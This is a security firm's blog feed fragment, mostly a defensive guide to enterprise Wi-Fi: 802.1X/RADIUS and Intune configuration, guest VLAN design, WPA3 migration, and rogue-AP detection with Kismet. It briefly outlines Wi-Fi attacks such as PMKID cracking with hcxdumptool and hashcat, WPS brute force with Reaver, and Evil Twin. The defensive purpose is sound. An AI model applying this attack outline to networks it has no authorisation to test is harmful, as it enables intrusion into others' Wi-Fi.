&lt;ul&gt;
&lt;li&gt;No Wi-Fi testing without the express written permission of the owner of the infrastructure being tested&lt;/li&gt;
&lt;li&gt;Section 202a of the German Criminal Code (StGB) (data espionage) and Section 303b of the German Criminal Code (StGB) (computer sabotage) apply even if the tester “only intended to test”&lt;/li&gt;
&lt;li&gt;Testing public or third-party networks is a criminal offense - even for academic purposes&lt;/li&gt;
&lt;li&gt;A professional penetration testing service provider provides a framework agreement with a clear definition of scope&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AWARE7 conducts Wi-Fi penetration tests exclusively within the framework of a written engagement. The client defines the scope, locations, and testing period.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;further-information&quot;&gt;Further Information&lt;/h2&gt;
&lt;p&gt;If you want to understand the defensive side - WPA3-Enterprise, 802.1X configuration, secure guest Wi-Fi design, and the complete hardening checklist - you’ll find all the details in the accompanying article:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/blog/enterprise-wlan-security-wpa3-8021x-and-secure-guest-wi-fi/&quot;&gt;Enterprise Wi-Fi Security: WPA3, 802.1X, and Secure Guest Wi-Fi&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Wi-Fi security doesn’t end with setting a strong password.&lt;/strong&gt; A professional Wi-Fi penetration test reveals which of your measures actually hold up - and which would fail in a real attack. The results form the basis for prioritized hardening.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/contact/&quot;&gt;Request a Wi-Fi penetration test&lt;/a&gt; | &lt;a href=&quot;https://a7.de/en/services/penetration-testing/&quot;&gt;Penetration testing services&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Offensive Security</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>Enterprise WLAN Security: WPA3, 802.1X and Secure Guest Wi-Fi</title><link>https://a7.de/en/blog/enterprise-wlan-security-wpa3-8021x-and-secure-guest-wi-fi/</link><guid isPermaLink="true">https://a7.de/en/blog/enterprise-wlan-security-wpa3-8021x-and-secure-guest-wi-fi/</guid><description>Secure corporate Wi-Fi with WPA3-Enterprise and 802.1X: guest Wi-Fi design, Evil Twin and KRACK defense, and Active Directory integration.</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&quot;The Wi-Fi password? It&apos;s on the sticker under the router.&quot; An alarming number of Wi-Fi security policies in companies begin with this sentence. WPA2-PSK with a single shared password is acceptable for home use - but for businesses with a constant flow of employees, suppliers, and guests, it poses a security risk.&lt;/p&gt;
&lt;h2 id=&quot;wpa2-psk-vs-wpa2wpa3-enterprise&quot;&gt;WPA2-PSK vs. WPA2/WPA3-Enterprise&lt;/h2&gt;
&lt;h3 id=&quot;why-wpa2-psk-is-inadequate-in-a-corporate-setting&quot;&gt;Why WPA2-PSK Is Inadequate in a Corporate Setting&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Problem 1: No Individual Identification&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All employees, suppliers, and guests use the same password&lt;/li&gt;
&lt;li&gt;Log shows only: Device XY was on the Wi-Fi - no username!&lt;/li&gt;
&lt;li&gt;GDPR: Attribution is virtually impossible&lt;/li&gt;
&lt;li&gt;Forensics after an incident: Who was on the Wi-Fi and when?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Problem 2: Password Management&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Former employees know the Wi-Fi password&lt;/li&gt;
&lt;li&gt;Password rotation: Must be communicated to ALL employees (time-consuming!)&lt;/li&gt;
&lt;li&gt;Employees send the password to visitors, family, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Problem 3: Retrospective Decryption&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wi-Fi traffic can be recorded&lt;/li&gt;
&lt;li&gt;With PSK: Third parties who know the PSK can decrypt recorded traffic!&lt;/li&gt;
&lt;li&gt;Competitors, former employees: potential attackers&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;wpa2wpa3-enterprise-the-enterprise-solution&quot;&gt;WPA2/WPA3-Enterprise: The Enterprise Solution&lt;/h3&gt;
&lt;p&gt;Instead of a shared password: individual login credentials per device/user.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Standard:&lt;/strong&gt; IEEE 802.1X with RADIUS server
&lt;strong&gt;EAP method:&lt;/strong&gt; EAP-TLS (certificates) or PEAP-MSCHAPv2 (username/password)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Process:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Device connects to Wi-Fi&lt;/li&gt;
&lt;li&gt;Access point requests identification (802.1X)&lt;/li&gt;
&lt;li&gt;Device sends credentials (certificate or username/password)&lt;/li&gt;
&lt;li&gt;Access point forwards to RADIUS server&lt;/li&gt;
&lt;li&gt;RADIUS server verifies against Active Directory / Entra ID&lt;/li&gt;
&lt;li&gt;Either: Access granted (with VLAN assignment!) or denied&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Individual access: Employee resignation → immediate revocation (deactivate in AD)&lt;/li&gt;
&lt;li&gt;Logging by user/device&lt;/li&gt;
&lt;li&gt;Certificate-based EAP-TLS: no passwords required&lt;/li&gt;
&lt;li&gt;Forward secrecy: recorded traffic cannot be decrypted retroactively&lt;/li&gt;
&lt;li&gt;VLAN assignment: Marketing employees are automatically placed in the marketing VLAN&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;WPA3 improvements:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Individual data protection: Devices cannot see each other’s traffic (SAE instead of PSK)&lt;/li&gt;
&lt;li&gt;WPA3-SAE (Simultaneous Authentication of Equals): better protection against PMKID attacks&lt;/li&gt;
&lt;li&gt;192-bit security for Enterprise (GCMP-256 instead of AES-128-CCM)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;configuring-radius-and-8021x&quot;&gt;Configuring RADIUS and 802.1X&lt;/h2&gt;
&lt;h3 id=&quot;microsoft-nps-as-a-radius-server-included-in-windows-server&quot;&gt;Microsoft NPS as a RADIUS server (included in Windows Server)&lt;/h3&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Install-WindowsFeature&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; NPAS &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;IncludeManagementTools&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Configuration for Wi-Fi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1. NPS → RADIUS Clients: Register access points&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   (AP IP address + shared secret between AP and NPS)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;2. Connection Request Policy:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   Type of network access server: Wireless - IEEE 802.11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;3. Network Policy:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   Conditions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     User Groups: &quot;Domain Users&quot; or specific Wi-Fi group&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   Authentication Method: EAP-MSCHAPV2 (PEAP) or EAP-TLS (Certificate)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;   VLAN Assignment:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     RADIUS Attributes → Tunnel Type: VLAN&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     Tunnel Medium Type: 802&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     Tunnel Pvt Group Id: 20  (VLAN ID for employees)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;eap-tls-certificate-based---recommended&quot;&gt;EAP-TLS (Certificate-based - recommended)&lt;/h3&gt;
&lt;p&gt;No password required: Device authenticates with certificate. Entra ID / AD PKI issues certificates; Intune automatically distributes certificates to managed devices.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Intune → Configuration → Certificate Profiles → SCEP Certificate:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Key storage provider: TPM (stored in the hardware security module!)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Subject name format: CN={{UserName}},DC=company,DC=de&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Extended key usage: Client Authentication&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Validity period: 1 year&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  SCEP server: https://ndes.firma.de/certsrv/mscep/mscep.dll&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Then: Wi-Fi Profile in Intune:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Security type: WPA2-Enterprise / WPA3-Enterprise&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  EAP type: EAP-TLS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Client certificate: {{Cert from SCEP profile}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Trusted server certificate: Company CA certificate&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;freeradius-alternative-free&quot;&gt;FreeRADIUS (Alternative, free)&lt;/h3&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; freeradius&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; freeradius-utils&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# Configuration /etc/freeradius/3.0/clients.conf:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;client access_point_1 {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ipaddr = 192.168.1.10        # IP of the AP&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  secret = supersecret123      # Shared Secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  shortname = ap-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  nastype = cisco&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;# LDAP connection /etc/freeradius/3.0/mods-enabled/ldap:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ldap {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  server = &amp;amp;#x27;ldap.company.com&amp;amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  identity = &amp;amp;#x27;CN=freeradius,OU=Service,DC=company,DC=com&amp;amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  password = ${ldap_password}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  base_dn = &amp;amp;#x27;DC=company,DC=com&amp;amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  user {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    base_dn = &quot;${..base_dn}&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    filter = &quot;(sAMAccountName=%{%{Stripped-User-Name}:-%{User-Name}})&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;setting-up-guest-wi-fi-correctly&quot;&gt;Setting Up Guest Wi-Fi Correctly&lt;/h2&gt;
&lt;h3 id=&quot;design-principles&quot;&gt;Design Principles&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Strict separation from the production Wi-Fi:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dedicated SSID for guests&lt;/li&gt;
&lt;li&gt;Dedicated VLAN (e.g., VLAN 99)&lt;/li&gt;
&lt;li&gt;Firewall between guest VLAN and corporate network:
&lt;ul&gt;
&lt;li&gt;DENY: VLAN 99 → VLAN 10 (employees), VLAN 20 (servers)&lt;/li&gt;
&lt;li&gt;ALLOW: VLAN 99 → Internet (Port 80/443)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Authentication options for guests:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Option 1: Captive Portal (Landing Page with Registration)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Guest enters name + email&lt;/li&gt;
&lt;li&gt;Accepts terms of use&lt;/li&gt;
&lt;li&gt;Receives access code&lt;/li&gt;
&lt;li&gt;Access for a limited time (e.g., 8 hours)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Option 2: Voucher System&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Front desk/reception issues time-limited vouchers&lt;/li&gt;
&lt;li&gt;Code valid for 1 day, 1 week, etc.&lt;/li&gt;
&lt;li&gt;No guest account required&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Option 3: WPA2-PSK with regular rotation&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Less secure, but simple&lt;/li&gt;
&lt;li&gt;Change code weekly; post on whiteboard in conference room&lt;/li&gt;
&lt;li&gt;ONLY if guests cannot have sensitive data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Captive Portal Solutions:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Solution&lt;/th&gt;&lt;th&gt;Description&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;pfSense + Captive Portal&lt;/td&gt;&lt;td&gt;Open Source&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cisco Identity Service Engine (ISE)&lt;/td&gt;&lt;td&gt;Enterprise&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Aruba ClearPass&lt;/td&gt;&lt;td&gt;Enterprise&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Unifi Network Application&lt;/td&gt;&lt;td&gt;For Ubiquiti networks, very simple!&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h3 id=&quot;gdpr-in-guest-wi-fi&quot;&gt;GDPR in Guest Wi-Fi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Guest registration data: GDPR obligations!&lt;/li&gt;
&lt;li&gt;Privacy notice required in the captive portal&lt;/li&gt;
&lt;li&gt;Define retention period (access logs: typically 7-30 days)&lt;/li&gt;
&lt;li&gt;Purpose limitation: for network administration only&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;guest-wi-fi-configuration-unifi-example&quot;&gt;Guest Wi-Fi Configuration (Unifi Example)&lt;/h3&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Settings → WiFi → Add New WiFi Network:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Name: Company Guests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Password: (blank; Captive Portal handles this)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Network: Guest VLAN (create beforehand)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Guest Policy: Enable (activates isolation)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Hotspot Manager:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Authentication: Voucher&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Voucher Expiry: 8 hours&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Voucher Usage: Single Use&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Automatic Firewall Rule (Guest Policy):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Block: Guests → internal networks (automatic)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  Allow: Guests → Internet&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;detecting-and-preventing-wi-fi-attacks&quot;&gt;Detecting and Preventing Wi-Fi Attacks&lt;/h2&gt;
&lt;h3 id=&quot;common-wi-fi-attacks&quot;&gt;Common Wi-Fi Attacks&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. Evil Twin / Rogue Access Point&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Attacker sets up an AP with the same SSID as the company’s Wi-Fi&lt;/li&gt;
&lt;li&gt;Stronger signal → Devices connect automatically&lt;/li&gt;
&lt;li&gt;Man-in-the-Middle: All traffic can be intercepted&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protection:&lt;/strong&gt; 802.1X + Certificates (Devices verify server certificate!)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2. PMKID Attack (WPA2-PSK)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Attacker intercepts PMKID hash during connection setup&lt;/li&gt;
&lt;li&gt;Offline brute force against PMKID → password cracked&lt;/li&gt;
&lt;li&gt;Tool: hcxdumptool + hcxtools + hashcat&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protection:&lt;/strong&gt; WPA3-SAE (PMKID attack no longer possible!) or long, random WPA2-PSK (&amp;gt;25 characters)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. Deauthentication attacks&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Attacker sends fake deauthentication packets → all clients disconnected&lt;/li&gt;
&lt;li&gt;DoS or forcing a new connection (for Evil Twin)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protection:&lt;/strong&gt; 802.11w (Management Frame Protection) - WPA3 enforces it!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;4. KRACK (Key Reinstallation Attack, WPA2)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vulnerability in WPA2 handshake implementation&lt;/li&gt;
&lt;li&gt;Already patched in current operating systems&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protection:&lt;/strong&gt; Patch all clients and APs immediately&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;wi-fi-monitoring-rogue-ap-detection&quot;&gt;Wi-Fi Monitoring (Rogue AP Detection)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Cisco Wireless Controller:&lt;/strong&gt; automatic rogue AP detection&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unifi:&lt;/strong&gt; Wireless Intrusion Detection/Prevention&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kismet (Open Source):&lt;/strong&gt; Passive Wi-Fi scanner + rogue detection&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;apt&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; install&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; kismet&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;kismet&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; wlan0mon&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Web GUI at localhost:2501&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Displays all Wi-Fi networks within range, flags unknown APs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;wi-fi-hardening-checklist&quot;&gt;Wi-Fi Hardening Checklist&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WPA3-Enterprise or WPA2-Enterprise (802.1X) for employee Wi-Fi&lt;/li&gt;
&lt;li&gt;No WPA2-PSK on the corporate network&lt;/li&gt;
&lt;li&gt;Guest Wi-Fi: separate VLAN, captive portal&lt;/li&gt;
&lt;li&gt;Management Frame Protection (802.11w) enabled&lt;/li&gt;
&lt;li&gt;Rogue Access Point Detection enabled&lt;/li&gt;
&lt;li&gt;Wi-Fi password (if PSK): min. 25 characters, random&lt;/li&gt;
&lt;li&gt;SSID should not be the company name (prevents targeting): choose an anonymous SSID&lt;/li&gt;
&lt;li&gt;No WPS function (PIN-based, vulnerable)&lt;/li&gt;
&lt;li&gt;RADIUS/NPS server secured with a certificate (no self-signed ones!)&lt;/li&gt;
&lt;li&gt;Regular Wi-Fi security audit (annually)&lt;/li&gt;
&lt;li&gt;Keep AP firmware up to date&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;wpa3-an-overview-of-the-current-encryption-standard&quot;&gt;WPA3: An Overview of the Current Encryption Standard&lt;/h2&gt;
&lt;p&gt;WPA3 has been available in modern routers for several years and offers significant security improvements over WPA2 - but also presents challenges during migration.&lt;/p&gt;
&lt;h3 id=&quot;what-makes-wpa3-better&quot;&gt;What Makes WPA3 Better&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Protected Management Frames (PMF):&lt;/strong&gt; WPA3 enforces PMF (802.11w), which significantly complicates deauthentication attacks. With WPA2 without PMF, an attacker can send fake deauth packets and disconnect all clients - a precursor to Evil Twin attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Simultaneous Authentication of Equals (SAE):&lt;/strong&gt; The new handshake protocol makes dictionary attacks against the connection key virtually impossible. With WPA2-PSK, an attacker can record the 4-way handshake and try passwords offline - with WPA3-SAE, this is no longer possible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;192-Bit Security Mode (WPA3-Enterprise):&lt;/strong&gt; For particularly sensitive environments, WPA3-Enterprise offers significantly stronger encryption using GCMP-256 instead of AES-128-CCM.&lt;/p&gt;
&lt;h3 id=&quot;compatibility-and-migration&quot;&gt;Compatibility and Migration&lt;/h3&gt;
&lt;p&gt;WPA3 requires firmware updates on both the router and the end devices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Windows 10 version 1903 or later with the appropriate network adapter driver&lt;/li&gt;
&lt;li&gt;macOS version 10.15 (Catalina) or later&lt;/li&gt;
&lt;li&gt;iOS version 13 or later&lt;/li&gt;
&lt;li&gt;Android: supported by software starting with Android 10; older devices depend on the manufacturer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Recommendation:&lt;/strong&gt; Set the router to &quot;WPA2+WPA3&quot; (transition mode). This way, modern devices will automatically connect via WPA3, while older devices - such as printers or IoT devices - will remain accessible via WPA2. Note: In transition mode, the router automatically enables PMF for WPA2 connections as well. Not all older devices support PMF, which can lead to connection issues.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Problem with Android in transition mode:&lt;/strong&gt; Some Android devices continue to use WPA2 even though the router offers WPA3. Solution: Remove the known Wi-Fi network and reconnect by entering the password (do not use a QR code or WPS - these often force WPA2).&lt;/p&gt;
&lt;hr /&gt;
&lt;h2 id=&quot;nearest-neighbor-attack-when-your-neighbor-attacks-your-wi-fi&quot;&gt;Nearest Neighbor Attack: When Your Neighbor Attacks Your Wi-Fi&lt;/h2&gt;
&lt;p&gt;Attacks from the immediate vicinity are an often underestimated threat. In apartment buildings or densely populated commercial areas, potential attackers are within Wi-Fi range - without ever having to enter the building.&lt;/p&gt;
&lt;h3 id=&quot;how-a-neighbor-becomes-a-security-problem&quot;&gt;How a Neighbor Becomes a Security Problem&lt;/h3&gt;
&lt;p&gt;Cybercriminals use the following methods for neighborhood attacks:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Network scans:&lt;/strong&gt; Tools like Aircrack-ng or Wireshark allow for the systematic detection of all Wi-Fi networks in the vicinity, including SSID, encryption standard, and signal strength. WEP networks and those using WPS are immediately identifiable as easy targets.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Brute-force attacks on weak passwords:&lt;/strong&gt; For WPA2-PSK with a short or simple password, capturing a single handshake is sufficient. The subsequent offline analysis with Hashcat can crack a password like “Company2024” in seconds.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;WPS exploitation:&lt;/strong&gt; WPS (Wi-Fi Protected Setup) allows devices to connect via an eight-digit PIN - split into two four-digit blocks, reducing the number of possible combinations to 11,000. With the Reaver tool, WPS can be compromised in just a few hours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Social Engineering:&lt;/strong&gt; Attackers can pose as technicians or service providers to directly request Wi-Fi access credentials.&lt;/p&gt;
&lt;h3 id=&quot;real-world-consequences-of-insecure-wi-fi-networks&quot;&gt;Real-World Consequences of Insecure Wi-Fi Networks&lt;/h3&gt;
&lt;p&gt;The legal consequences of a compromised Wi-Fi network often fall on the account holder first: If illegal activities take place via your connection, you will initially be treated as a suspect. The burden of proof for your own innocence lies with the connection owner - investigations, legal fees, and reputational damage are the result, even if it later turns out that a stranger misused your connection.&lt;/p&gt;
